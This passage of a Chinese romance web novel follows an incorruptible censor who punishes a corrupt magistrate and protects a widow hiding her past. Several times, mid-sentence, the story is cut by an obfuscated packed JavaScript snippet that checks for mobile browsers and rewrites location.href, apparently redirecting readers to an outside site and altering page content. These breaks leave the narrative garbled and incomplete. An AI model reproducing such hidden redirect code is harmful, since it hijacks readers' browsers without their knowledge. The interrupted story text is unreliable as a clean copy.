前知县脸上挤出几道油亮的褶子，尴尬笑道：“是，您说的是。”转而又换了借口，“自您来我们永临，我还未向您汇报过县中事务，大人不妨听我讲讲，也能更了解永临百姓。能用微薄之力助孟大人为民造福，也算我弥补一些过错了。” “收起你的花言巧语。”孟文芝睨他一眼，冷声提醒道。 他知道他的德性，对他早已失望透顶。但又觉得后者若是真心悔过，说的话也不无道理。犹豫片刻，还是跟着去了。 谁知，脚步竟在醉鲜楼前停下，这人安的什么心思，孟文芝已猜到八分，免不得眉头骤起，却还是多此一举地问：“来这儿干什么？” “里面说话无人打扰。”前知县咧嘴哈腰回道。 孟文芝挑眉看他表演，向前跟进。他要今日便要看看，这人的胆子，究竟能有多大。 进到房间，桌上好酒好菜摆得满满当当，酒是陈年的秋露白，菜是罕见的山珍海味，前知县扫过一眼便得意起来，伸手请坐。 孟文芝漆黑双眸停滞在他身上一瞬。 他敏感地察觉到这道滚烫的目光，酥麻感从头顶向下迅速发散，人跟着兴奋了起来。 上钩了，上钩了！ 他心中暗戳戳惊喜着，眼瞧着孟文芝面无表情地就近坐下，原来堂堂八府巡按，也不过一桌酒菜献献殷勤就能拿下。 他还道是哪号真君子大人物，却是个表里不一的。 倒可惜自己先前没能没识得巡按真面目，公堂上白白磕了好些响头，面子也丢尽了。 他看看桌面，又看看孟文芝：“孟大人，这些对您胃口吧？” 孟文芝直接略过他的话，脸色肃然，开口：“我要问你，你且听好。” “是，我好生听着，孟大人请讲。” “本县常平仓现今储粮多少石？”这最基础的仓政问题，只作是对他的初步考查。 前知县嘴上说得好听，实际却不以为意，心思全放在给他倒酒夹菜上，嘴里嘟哝一阵，也没答出个所以然。 孟文芝按住他的手，目光深沉地看着他，又问：“本县如今造册的人口总计多少？男女丁口各有多少？” 前知县脑子里从来不放正事，见他这般缠着不放，只能顺着依着，随口编了几个数先把人安抚住，又赶忙朝外拍了拍手。 那掌音刚消散，房门便被推开，进来了两个冶容女子。 这两人显然是仔细打扮了的，面带娇笑，莲步轻移，转眼便迎到孟文芝身旁。一人挨着他坐下，为他倒酒，另一人站在他身侧，伸手就要抚上他的肩膀。 孟文芝眼疾手快地抬起胳膊，从她手腕处挡开，表情冷厉，沉声呵了前知县的名字。 前知县目光落在女人身上，便再挪不开，非但丝毫没有察觉孟文芝潜藏的怒意，反而很是满意，笑得眼睛都眯成月牙：“这两个都是我叫人精挑细选出来的，孟大人喜欢吧？” 两位姑娘却已发现情况有变，不敢再靠近孟文芝，相互间使了眼色，安分地站在一旁。 前知县不知自己死到临头，还呵呵笑着：“还有更招人喜欢的呢！” 说着，他不知从哪摸来一个匣子，翻转过来，将正面对准孟文芝。 匣子甫一打开，孟文芝的脸就再挂不住了。 看到那匣子里整整齐齐两排金锭，他竟气得无奈起来，手上泛白的指节恢复血色，又再次绷紧。 一个县官，究竟哪里来这样多的钱财？ 那两排金锭，又代表着多少不公？ 孟文芝叹息，冷冷起身，留下一句：“你心意还是不诚。” 前县官却迷了眼一般，没听懂孟文芝话中意思，看他离去的背影，赶忙喊着：“孟大人别走哇，不够的话，我再叫人回去拿点！” 孟文芝没有回头。 前知县坐在位子上，把那匣子合起来抱在怀里，喃喃骂道：“这么多还不够，这姓孟的比老子还贪。” 不过，经这一遭，他却是放下了心，也壮了胆。 想来这刚正不阿出了名的孟文芝，也露了真面目，搞定他不过早晚。 想到这儿，他舒出一口长气，勾勾手把两个漂亮姑娘招到身侧，自己吃喝了起来。 且不说这前任县官下一步欲如何对孟文芝行贿赂之事。先前想强占阿兰的刘祯也已随着他的脚步，开始蠢蠢欲动。 是夜。 血光乍破，阿兰淹没在一片浓烈的血腥气中，满面惊慌。 身下男人被一只纤手捂住嘴巴，指缝间走漏的细微喘叫声依然如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15081182|163483||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刮骨般刺痛她的神经。 这时，有人冲破了房门，厉声大喊：“抓住她！严惩杀人凶手！” 阿兰转过头，她明明并不悲伤，眼泪却不知何时决堤。 趁她松懈，身下的男人竟将她拉进深渊，两人纠缠着，飞速地往下坠落。 她想挣扎，却发现自己动弹不得。 那男人露出阴笑，凑到她耳边，冰冷的吐息打在她耳廓：“跟我一起，去见你的家人如何？” “不。”她声嘶力竭，想要冲破耳边诅咒般的低语。 “不要——！” 阿兰惊醒，自己的喊叫声还在心中回响，背上衣物的又是一片湿凉。 这可怕的梦魇究竟如何才能散去…… 胸口仍起伏地厉害，阿兰缓缓坐起身平复呼吸，等惊恐散去，才踏上鞋，摸黑去倒水喝。 此时正夜深，天色如葡萄酒浆一般浓密。 窗纸透着朦胧苍白的月光，阿兰动作极轻，举杯偎在唇边，轻垂眼帘，眸光驻留在雕花窗棂之外，小口咽着凉水。 正心绪飘飞时，那整洁的窗纸后面走进了几个鬼鬼祟祟的人影，阿兰瞳孔骤缩，回神来心下一紧。 青瓷盏沿僵在唇边刹那，她迅速放下杯子，矮身凑到窗台下面。 细微声响过后，头顶的窗纸被人戳破成洞。 一个灰黄眼珠贴上来，在洞口滴溜溜地打转，过了会儿，似乎是搜寻无果，又离开了小洞。 “太黑了，看不清。”他们用气声交谈着。 “她肯定在里面睡着，赶快把香点上。”有人催促。 如此时刻，阿兰耳朵也尖，这分明是家中进了贼人，欲对她不轨。 “老爷，这真的管用吗？” 一根点燃的香蓦地从洞中探出，升起着不断扭动蜷伸的烟雾，弥散在她房中。 继续呆在这里，怕是会出事。 阿兰急中生智，用手帕捂着口鼻，从另一面的窗户悄悄翻走了。 夜幕沉沉压下，她一袭单衣，在无人的街巷中仓皇奔走，单薄的身影被月光肆意拉长。 迷烟充斥的卧房外，几人还在躁动着。 “进去看看。”刘祯算好了时间，开口命令。 手下蒙住脸，轻手轻脚推开门进去，又撤出来：“老爷，里面没人啊。” 刘祯往里一看，当即呵斥道：“废物，是人跑了，还不快去找！” 他带着两个手下翻窗而出，转瞬便隐匿于黑夜。几人脚步急促，四处找寻着目标。 “在那儿！”手下惊喜地喊出了声。 顺着他所指的方向，刘祯果真看到，前面一道翠白交织的身影在夜色中跌跌撞撞。 那身影闻声转了头，在月色下露出一抹惊惶神色，接着，毫不犹豫地钻进小巷，消失在他们视线中。 “你这蠢才，不会小点声吗？”刘祯教训道：“快追。” 暗巷中伸手不见五指，死寂般的黑暗将她紧紧包裹。春寒料峭，更何况是深夜，单薄的衣衫无法抵御冷意，她刚静下来，身上便开始发抖。 刘祯几人的声音嗡嗡嘤嘤，正在接近。 这样躲着，绝非长久之计。 6. 悸动非常 巷子两旁的墙壁高耸压抑，匆促的脚步声回响其中。露水沾湿了绣鞋。 阿兰摸索着穿过暗巷，到另一头，想找户人家敲门求援。 时至三更，沿途各家门窗紧闭，檐下静谧无人声，唯有微弱虫鸣在墙角流淌。 阿兰敲门无果。很快，刘祯几人也寻着动静再次找到了她。 不得已，只能转头继续奔逃。 她划着斑驳的墙转费力跑着，腰间丝绦渐渐松脱，在身后飘摆，与散乱的青丝分合不定。 上次跑得这般窘迫时，还是在丈夫死的那夜。 可这次，她却如何跑得过三个精壮的男人。 早年患病落下的病根也在此刻成了附骨之疽。双腿宛如灌铅，每一次呼吸都扯得胸腔生疼，连带着背后的旧伤也隐隐作痛。 眼里跑出了雾水，景物慢慢扭曲成模糊的色块。她甚至要看不清前方的路，只能晕头转向地跑，一直跑。 朦胧视线中，她感知到渴求已久的光亮。 那是一点如萤火般的昏黄的光。 是绝境的生机。 阿兰不顾一切直奔过去，扑向那扇朱漆大门，手指颤抖着紧紧攥住门前铜环，一下一下重重叩击。 眼里积蓄的水汽也在这时聚成滴，顺着面颊滑落。 她把所有的希望都放在这扇门后，急切地问：“有人吗！” 那群人离自己越来越近。 “开门，开门！帮帮我……” 请求无人理会，敲门的力度慢慢轻了下来。伏在门板上的双手，此时显得格外苍白无力。 已而刘祯走过来，含情脉脉地哄她：“阿兰，我对你好一辈子。”说着，就要牵起她的手。 阿兰尚不正眼看他，迅速收回手，嫌恶地避开他的触碰。 刘祯被这一动作惹怒，猛地变了脸，那双倒八眉抽动几番，人就要朝她扑过来。 门后，书房。 孟文芝正与人谈话。 “趁夜赶回，为何不提前告知我？” “清岳只想着早点回来，又怕让少爷担心，就……” 孟文芝无奈接受事实，过了一会，又担心地问：“你母亲病可好了？” 清岳是他的近身侍卫，自幼在金珑寺习武，半大时进了孟家，两人也算一同长大，既是主仆，又是兄弟，感情颇深。 本要跟着他一起来永临，可家中母亲突然患病，孟文芝知道此事后，立即遣他回家照顾。 提起此事，清岳免不得露出感激之色：“已经全好了！” 若不是少爷让他回家，仅靠家中小妹，他如何放心的下。如今母亲病好，也多亏有少爷的一份体谅。 “你照顾母亲也辛苦，西厢房我前几日收拾过，你先在那里住下，好好休息。” “谢谢少爷。” 清岳提起行李，刚推开门走出半步，这才听得一阵急切的敲门声，又将脚撤了回来，把行李重新放到地上，说：“少爷，院外有人敲门，我去看看。” 孟文芝点头，转而又担忧何人会在夜半敲门，披了一件轻薄的氅衣，备了灯，也紧步走出去。 二人走至门口，清岳拔开木闩，枢钮吱呀响起。两扇门扉将开未开之际，扑进来一袭纤影。 那女子带了阵夜风，险些将廊灯扑灭。 孟文芝下意识后退半步，纸灯跟着在手中恍惚一阵，待他定睛看清来者面容，不禁压下眉眼，错愕道：“阿兰？” 阿兰只顾逃蹿，听此声动作倏忽停滞，浑身只有胸口仍在轻浅起伏。 她抬头，看见那双夜枭般深邃的眼眸，呼吸渐渐止住，背伏在门板前，一时间进退两难。 “阿兰，阿兰！” 风再起，阿兰眉尾不可防地跳动，这才重新开始呼吸，猛地吐出一口热气，旋即死命抵住门板。 门外的刘祯耐心几乎耗尽，继续对内怒喊：“快出来，你这女人，怎地随随便便进了别人的屋子。” 阿兰不自觉地看向身前仍不知发生何事的人。 但他明白了她的意思。 须臾之间，他握住阿兰的手腕，将人扯到身后。 门即将大开。 趁着间隙，清岳迅速迈步上前顶去，将门边按住，站在刚刚能露出一人的缝中，对外问：“各位深夜而来，所为何事？” “我女人进了你家门，烦你快让她出来。” 清岳与刘祯正来回问答。孟文芝悄然松开她的手腕，指尖仍留存着她的冰冷的温度。 他把手中的灯递给她，拆下墨色氅衣，轻巧地从她身后绕过，裹在她双肩。 氅衣很长，在他身上不显得，在阿兰身上，却是直直垂到了她湖色的绣鞋底边。 收回手时，手背上突然有湿凉的感觉。 孟文芝垂眸看去，一滴水珠正好端端在他手背上，倒出月亮银白的影子和阿兰手中橙黄的光。 那颗水珠自从阿兰眼里溢出，划过眼角的小疤，又划过脸颊，就挂在下巴尖上，似落非落。 此时，竟被他带走了。 “等我片刻。” 说罢，孟文芝越过她，带清岳一起走出去。 踏过门槛时，为她关上了大门。阿兰和光亮，一同被隔绝在这安全的一方。 她这才惊觉自己胸中悸动非常，一颗心砰砰直跳。 阿兰抚上心口感受，却又从胸口，顺着光滑的绸缎缓缓上移，触到了颈前。 那里有微凉的系带，和一个灵巧的结。 指尖犹豫着微微抽动，下一瞬，她解开了披风。 “刘祯，你看清楚我是谁。” 孟文芝端立在路中，厉目视着正躁动的刘祯。 刘祯听后静下来，细细端详一阵，张开的嘴骤然合上，撒腿就跑。 清岳眼疾手快，敏捷地追过去。 “保护老爷！”两个手下堵在跟前，挡住清岳去路，被后者一边一个踹在墙上不能动弹。 三五步跃过去，他拽住刘祯的后衣领，刘祯猛地一呛，仰倒在地上，被拖到孟文芝脚下。 “咳咳咳，”刘祯蜷在地上猛咳一阵，眼泪也跟着出来了，没底气地捂着喉咙对他说，“你这是滥用私刑……” “看来县狱里呆的几天，不足以让你悔过。”孟文芝居高临下，俯视着他。 刘祯撑起上半身，万般无奈地辩解：“我不过是带自己的女人回家，又不曾伤她害她，何错之有？” 按往常他对这类人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15081183|163483||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，都有耐心教化一番，让其认识错误。 可现在，孟文芝听他这句话，莫名呼吸急促起来，一股难以言喻的火气窝在心里，实不想对他多费口舌，直接让清岳把三人绑了，将人押进车中，送去了县狱。 再回来时，星月的光芒已然暗淡，天色愈发清明。 也不知阿兰此时如何。 马儿倦怠，刚停步便垂下脑袋昏昏欲睡，孟文芝急急忙忙下了车，就要推门进院。 第一眼，没能看到她。 第二眼，却看到了院中石桌上整理好的披风，和那盏早已熄灭的灯。 “那位姑娘应已离开了。”清岳在身旁道。 过了一会，孟文芝恍然点点头，似乎裹挟了很多情绪：“嗯。” 他挪动步子，朝书房走去，走了一半，止住脚，对清岳说：“天还未亮，快去休息吧。” “少爷……” 清岳自小就伴他身旁，对他了解非常，这会儿，单看了背影，就察觉出他心有戚戚。 他站在原地看着少爷走进屋中，那道影子在书桌后坐下。 清岳摇头，自言自语着：“少爷那是忙的。” 孟文芝也不知自己是怎地，心魂被牵走了似的，一个字都看不进去。 他闭下双眼，手扶额际，用指上关节揉按着穴位，企图让自己回过神来。 前方仍透着暗红色的光，他把眼闭得更紧了些，直到暗红色变成了漆黑一片。 眼前，好像走入了一个女子。 似轻云出岫，似流水潺潺，又似蕙芷芬芳。 眉头渐渐松懈，手指也不再旋动。 要如何，才能将她看得更清楚些…… 哐当！ 突然一声惊响，把那些美好事物一并吓跑，眼前重回漆黑。 孟文芝蓦然睁开眼，便看见清岳单足立在门口，另一只脚顶着门，一手端茶盘一手端果盘，正不好意思地对他笑着。 “少爷，打扰了……” 孟文芝咽下一口气，道：“无妨。”手又翻起书页来。 “少爷如此繁忙，也要注意身体才是，”清岳为他倒茶，接着又摆在他面前一盘樱桃，“这是我从家带的，可甜了，少爷来一颗提提神。” 他不在身旁，孟文芝习惯了清静，这会再被吵扰，心里忽一阵烦恼，却还是好言对他说：“不是叫你去休息吗？” “少爷还未睡，我怎能安眠？”说着，清岳又端下一盘糕点，“熬了一夜，少爷也该饿了，这是佛手酥。” “也是我从家带的哦。”清岳得意之余，还有些害臊，补充着。 孟文芝却摆了摆手：“我知道了，你去休息吧。” “少爷……” 清岳眼巴巴看着他。 孟文芝无奈，拾起一块糕点，望了望他。 清岳这才满意，果真又笑起来：“我走了，少爷慢用！” 孟文芝见他离去，终于松了口气，将佛手酥再次放回盘中。 怎的许久未见，非但没有生分，反而更加热情了。 他抿了茶水，茶的清香沁入心脾，一时清醒许多。想来今日无需再睡，便起身将窗子打开。 曙色微明，旭日将升。 7. 她胆子小 承着同一片天光，阿兰终于回到酒铺。 此时她心烦意乱，不及休息，先去烧一壶热水，将酒温了整碗灌进肚里。 一会过去，不知是酒劲还是什么，脸滚烫起来，热意直到耳根，这才舒服多了。 身体直白的燥热感，让她觉得自己是温暖安全的。 酒精作用下，头脑变得朦胧，那些四处乱撞的情绪似乎被包裹起来，默默藏到她看不见的地方。 慢慢地，阿兰有了困意，竟伏在桌边睡着了。 天已大亮。 皂隶们抬着“肃静”“回避”牌，将围观的菜贩驱赶到街角。 三班衙役已聚齐，班头们领着人马，朝那前知县家中走去。 “奉巡按大人命，查永临去任知县胡大途婪索无忌，赃贿狼藉。为肃清风气，着即抄检其府邸，赃物尽数充公。” 这家人虽已逃的逃，收监的收监，生活的痕迹却还残留在此。 衙役在旁支起案桌，书办开始唱簿登记。 清查得差不多后，门前贴上一尺有余的朱红字桑皮纸封条。 抄没的财务就将运往县库。 打头的人持长枪开道，后面紧跟着几两大车，车轮哐当哐当响着，留下深深辙印。 永临许久未发生过大事。 如今这番动静，引得不少百姓走到街巷来看，越聚越多。 外面有连绵不断的声响，阿兰也被吵醒，先从窗子往外看了看，见这样多的人与车，觉得好奇。 她拿一支碧簪挽住头发，再添件外衣，也出了铺子到路边去看。 “退后！退后！” 押车的快手呵斥着。 阿兰刚走出门，险些遭了冲撞，猛地被人一扯这才躲过一劫。 “诶小心！” 她睡得不足，先前又喝了热酒，酒意未完全退去，整个人还有些糊涂。 转头见一张熟悉的面孔，讶异道：“李大哥，你怎么到这儿来了？” 李二呲牙笑笑：“这不是来看抄家嘛！” “抄谁的家？”阿兰问。 轮到李二吃惊：“你竟还不知道？抄的是那狗官胡大途的家。” 说完，他又捏住阿兰衣袖，把人往后拉了拉，几乎退到了墙面上。 他压了嗓门小声说：“巡按大人要整治他们啦……” “他们？” “就是那些坏家伙们。” 李二撇脸，伸出一根手指有模有样地比划：“”首先是咱们这前任县官，贪的银，受的贿，统统要查清！据说今儿一大早，他就被收监啦，只等清点完赃物给他定罪。” 他把手平伸着在颈前划拉两下，更小声地补充了句：“”依俺看，摊上孟大人，他绝对要完……” 见阿兰有些害怕畏缩，他忙换了语气：“”别怕阿兰，大哥再跟你说点别的。” “此事你肯定有所不知，昨天晚上，那赖皮刘祯不知犯了什么事，也被抓了。” 阿兰一听，想起昨夜之窘迫，把眼睛转了下去，点点头。 “听小道消息，有个狱吏是个爱失眠的，昨晚上没睡着，就审他消磨时间……”李二说着说着，竟扶墙笑了起来，上气不接下气。 “李大哥？” 阿兰正要扶他，李二忙直了身子，摆手道：“唉哈哈哈，俺没事儿……你猜怎么着？” 阿兰因微薄的酒劲，面上红扑扑的，看着气色好多了，一双乌黑的杏眼盯着他发亮。 “还真审出了大问题！”李二越讲越投入，“那刘祯几年前，打死过人。” 这话说进听者心坎中，她心头不免一颤，忙抬手掩面，五指却也不受控地抖动。 “虽说是惩戒家中下人时心急失了手，但毕竟也是条命……” “那他要受何处罚？”阿兰瞬间清醒，打断他，着急地问。 李二摇头：“”俺也不知道，应该要等孟大人亲自判断。” 运送赃物的车队已几乎走完，阿兰迷茫地抬眼望去，一匹棕红的高马从车尾现出身影，在她和李二身前被人止脚步。 “孟大人。” 李二见到他自是心中激动万分，恭恭敬敬地行礼。 孟文芝一袭绯色官服，身姿挺拔，骑在马上好不威风。 他开口微笑回应：“李二好。” 听他这声，李二心中晴朗万分，高兴地抬起头来，这才发觉孟大人的目光正落在自己身旁，而身旁的人却一动不动地静成了一副画。 “阿兰，是孟大人呀，快问声好。”他对阿兰使眼色，用气声提醒着。 孟文芝收敛了笑容，声音却更柔和几分，对阿兰说：“不必多礼。昨晚……” “昨晚”二字甫一出口，阿兰眼睛忽地眨动起来。 那两条柳眉轻轻扬起，眼下两团薄薄的粉红，谁人见了都不由得心生怜惜。 孟文芝见她这般模样，不知为何，只觉得自己有愧于她，接着道：“昨晚那种事，不会再发生。” 再抬头，阿兰双唇微微翕动，像是要说话，也像是在压抑呼吸。 孟文芝期待着，却没能听到她的回音。 她突然转身，将身隐进了杏花门帘中。 看着仍在飘动的帘子，他微不可见地松了肩膀。 “孟大人，阿兰这姑娘胆子小，今天突然见着您，估计是有点怕羞，您多见谅！” 李二见阿兰行为突然如此奇怪，赶忙帮着说话，替她在巡按大人心里留点好印象。 “我知道。”孟文芝对李二说，手中轻扯了缰绳，马儿摇头转向，向路中走去，“前面在等我，你也去忙吧。” “好嘞。孟大人慢走。” …… 抄没的财物均已收归县库，前知县靠着牢狱潮湿阴凉的砖墙，心中倍加感伤。 那孟文芝不是接受他好意了吗，怎的事态突然反转，把他给抓到这儿来受苦。 他看着墙上小窗里的一抹天光，哀叹着。 这时，有个浑身是血的男人被推搡进来，趴在地上没有动静。 胡大途抬手防了防，又慢慢凑过去，见那人一身衣服都被鞭子打裂了，露出里面的烂皮肉，颇为吓人。 他皱着眉毛，把人脸扭过来。 “刘祯？” 是熟人。他拍拍他的脸：“”刘祯，醒醒！” 刘祯迷迷糊糊地醒过来，又被浑身伤口蛰痛得再次挤上眼，咧嘴吸气。 “你怎么也在这儿？我还指望你能捞我出去。”胡大途失望道。 刘祯喘了一会，苦笑着：“我捞你？我自身难保了……” 胡大途唇角 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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前县官懵懂地找着声音，忽然看到娘子的脸，呢喃道：“我又在做梦吗……” “傻子。”女人瞬间掉下两行泪，艰难地把胳膊挤进来，摸了摸他干燥的脸，“是老娘啊。” “你，你来干什么？我不是叫你走了么！”胡大途突然瞪眼，甩开她的手。 女人又拉回他的手，紧紧握在手心，哭着说：“我不走了。都是我害了你，我怎么舍得你……” 胡大途鼻子一酸，扭头忍泪。 女人一字一句很慢地继续说：“我已把儿子送到哥哥家去，爹娘也还不知道你的事，你不要挂念家里。” “我好后悔！” 前知县终于忍不住，嚎啕大哭起来眼泪鼻涕一起决堤，四道下去，都流进了嘴里。 “若是我踏踏实实做官，也不会沦落至此，我现在真想，我们一家还能好好过日子……” 女人隔着锈迹斑斑的铁栏，双手抱住他的头安抚，一下下理着他后脑的头发，轻言着：“今晚我在这里陪你。” “明一早，我再去找他求情。” 8. 你在怕我 难得晴天，春光明媚。 东街的刑场上，犯人被五花大绑跪在高台之上，对面端坐着的，正是那“铁石心肠”的巡按大人。 胡大途微微仰首，双眼眯成一条细线，只觉得日光如同万道金针，前所未有地刺眼。 四周观者渐多，刑场喧嚣之声成了鼎中沸水，不断向上蒸腾。 “肃静！” 巡按大人身后，皂吏开腔一声厉喝，噪音瞬间消弭。 阿兰站在人群最后。 她并非为凑热闹而来，只是鬼使神差地想看看他的下场，暗自思忖着，倘若她的事情败露，会不会也要步其后尘，落得如此境地…… 隔着黑压压的人群，孟文芝瞥见远处苍白的一张面庞。握着朱笔的手顿了顿。 行刑场面血腥残酷，向来多是男人仗着胆气来看，其中又有不少忍着胃中不适，看到一半便匆匆离去，回家吓唬家里的女人孩子。 虽说胡大途作恶多端，也曾伤害过她，可她却不像是爱于计较之人，怎么会特意来观刑。疑云泛起，孟文芝心中揣摩着。 时辰已至，他敛去思绪，手中攥起刑签，声若洪钟，问向犯人：“胡大途，你可知错？” 胡大途面如死灰，将佝偻的身子微微前倾，垂首应道：“我知错。” “你可认罪？” “认，我认罪……” 听到他的回应，红头令签重重地坠在地上。 “啪嗒”一声响。 孟文芝面无波澜地凝视着他蜷缩的背脊，沉声道：“行刑！” 话音方落，他放眼向四下往去。 砍头的场面刺目，他虽早已对此麻木，却也不愿多看。 扫视半圈后，最终决定将目光放在阿兰身上。 远在人群之后的阿兰，清晰地听闻“行刑”二字后，抬眸望去，便见刑台上的刽子手双手高扬起寒光凛冽的大刀。 刀刃与犯人的脖颈之间，霎时拉出如鸿沟般的极大距离。 在二者之中，她与孟文芝四目陡然相对。 一时间，她虚实难辨，眼前分不清是真是幻，好像她才成了刑台上待审的罪人。 而锋利的刀刃下，是她的头颅在颤抖。 阿兰嘴唇瞬间失去色彩，帕子在手里死死攥着，变得潮湿，却又被下意识捏着抵在唇下。 大刀劈落。裹挟着劲风。 两人视线被切断。 眼前刺人的白光，被浓稠的血色覆盖。 胡大途的脑袋落在地上，骨碌碌地滚了几圈，血就流干了，洇红了木台子和台子下的土地。 风一吹，那股腥臭气息便迅速弥漫，萦绕在每一个人的周身。 这重头戏已过去，围观的人们不约而同地擦了鬓角，慌忙扭头离去，谁不愿再往前多看一眼。 而阿兰仍然愣在原地，脚像被打了钉子，挪动不得。 她胆子太小，小得如同蝼蚁一般。 但她干过大事。 她亲手把自己的丈夫杀死，瞒天过海地来到永临，重获新生，过着她的第二条命。 若非上天眷顾，她的下场原该比台上的人还要凄惨万倍。 人群退散，转瞬间东街便只剩她一个“看客”。 台上的尸体已被妥善收好，几个助手抬起先前准备好的水桶，用力泼洗血迹，污浊的血水顺着木板缝隙哗啦啦地流着。 阿兰再度抬眸，目光不出所料地又与他撞在一起。 这回，两人视线毫无阻碍。 阿兰确定他在看她。 孟文芝站起身。 阿兰却退了半步，好似惊鹿。 他以为她被眼前场面吓到，催促手下快点动作，尽快将刑场恢复如初。 一桶桶清水泼下去，那血迹生了根，怎么也冲刷不净。 正如胡大途犯下的罪孽，存在过，便再也洗不掉了。 血水顺着地势蜿蜒流淌，很快蔓延到她脚边，险些弄湿她的鞋子。 阿兰盯着那些绕在身下，裹挟着尘土的腥水，不停地犯恶心，胃里一阵翻江倒海，终于忍不住跑到远处，扶着树干干呕起来。 清岳在孟文芝身后，没认出她是前几日的女子，小声对孟文芝说：“您瞧那姑娘也是胆大，刑场边上站了这么久，把自己看吐了吧。” “让他们加紧收拾，我过去看看。” 清岳愣了愣，没想自己碎嘴一说，竟引出少爷兴趣来，还是应下他的吩咐：“好。” 阿兰弯着腰，太阳穴突突直跳。这会儿脑中突然懵了一瞬，两片血光重叠，胡大途的脸、丈夫的脸走马灯似的在眼前相间闪烁。 还有……还有孟文芝的脸！ 阿兰免不得叫出声来，一手扒着树干，面色惊恐。 孟文芝就近在身旁。 自一年前她酿下大错以来，噩梦便如影随形，她心中矛盾，愤恨与愧疚整日充斥着她。 孟文芝的到来，彻底打破了这里的平静。永临虽内里早已腐朽，但仍能勉强维持，没什么大风大浪。她也能平安度日。 可他一来，雷厉风行地先是彻查富商，又严惩了原县令，如此强硬。 谁知下一个会不会是她？ 阿兰怕到极点，眉头紧蹙，颤巍巍抵手说：“你不要过来。” 孟文芝闻言，真就停下脚步，可免不得在心底担忧：“可否需要我遣人送你回去？” 阿兰扭头，两排牙齿咬在一起，跌跌撞撞跑走。 她无法忍受和这好心肠的巡按呆在一处。 不知从何时起，他的面容变得如此可怖，目光似乎能穿透人心，她生怕他多看自己几眼，就将她过往的罪孽全部看尽，把她押上刑台。 阿兰一路奔跑，直到跑到路的尽头，眼前出现一条河流，这才停下脚步。 孟文芝在她身后，隔着数十步的距离，远远望她背影。 心知她受了刺激，轻声言道：“行刑残忍，若有下次，你还是不要来看为好。” 阿兰听到他的话，缓缓回身，眸子里盈着水光，和她头上的簪子一样润亮：“孟大人……” “你说。”孟文芝语气平和，竭力安抚。 “他已知错了。” “是。” 两人都明白，胡大途已认错，他已清清楚楚地认识到错误。 身后河水潺潺流淌，不疾不徐。 过了很久，阿兰才再次说话：“既已知错，为何还要杀？” 这回，孟文芝却没有立即回答。 片刻后，他沉下气开口：“你也曾遭他所害，不该为他说话。” 颤动的睫毛下，阿兰隐去了两点眸光。 她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你不要动，我过去帮你。” 阿兰无处遁身，只能眼睁睁看着他步步走近。 孟文芝抬起胳膊，示意她搀扶。阿兰犹豫许久，才缓缓将手搭上去，还未使力，脚下的泥土便被河水冲垮，整个人瞬间向后仰去。 孟文芝眼疾手快，立刻拉住她的手，两人双手握着，掌心相贴。 他顺势单手环住她的腰，将人稳稳捞回岸边，幸好人没落入水中。 阿兰下意识靠在他的胸膛，嘴唇微开，轻促喘息着。 眼下一块细小的旧疤，因应激而透出红色，好像在无声诉说着她的过去。 “大人，您怎么跑到这儿来……” 清岳终于找来，却瞧见少爷正与那女人在河边搂抱，场面有些尴尬，忙捂住嘴巴背过身去，尽可能地降低自己的存在。 阿兰这才发现自己在干什么，一时慌乱不已，说不出话来，先急匆匆从他怀里挣脱。 可独自走了几步，还未拉开与他的距离，倏然全身失了力气，眼前一片漆黑，直直倒了下去。 “清岳，快叫车马！” 9. 并非夫妻 大夫还是上次的大夫。 此番见孟文芝身着官服而来，才知是个有头有脸的人物，顿时面露惊慌之色，生怕有所怠慢，忙不迭道“大人……” 孟文芝没让他多说话，抬手示意止住：“无需拘礼，先看诊。” 榻上的阿兰昏厥不醒，面色白如生宣，整个人远远看着毫无生气可言。 孟文芝在塌前落座，一时竟有些无措。 大夫闻言走上前，伸三指搭在阿兰手腕寸口处，凝神感受：“此脉虚浮，是受了风寒。” 话落，他眉头仍未舒展，手上调整了力度。 浮紧之象中，夹杂着几分散乱。 “寒邪束表，心神不宁。”大夫沉吟着，看向孟文芝，“她上次的伤可好了？” 清岳也跟着将目光投向他，一脸茫然道：“上次？” 孟文芝并未理会他，只对大夫摇了摇头：“这……我也不清楚。” 大夫瞧他对病人状况如此懵懂，先是眼神诧异，还是忍不住劝道：“大人，恕我冒昧说几句。您纵然公务缠身，也应多关怀病人几分。” “这么跟您说吧，她脉象比常人虚弱许多，想来早年患疾不愈，身体这才如此孱弱。如今又是受伤又是风寒，再不好生照料着，日后怕要遭罪！” 孟文芝听他语气郑重，只满心担忧，想着如何是好，并未察觉其言语间的不妥。 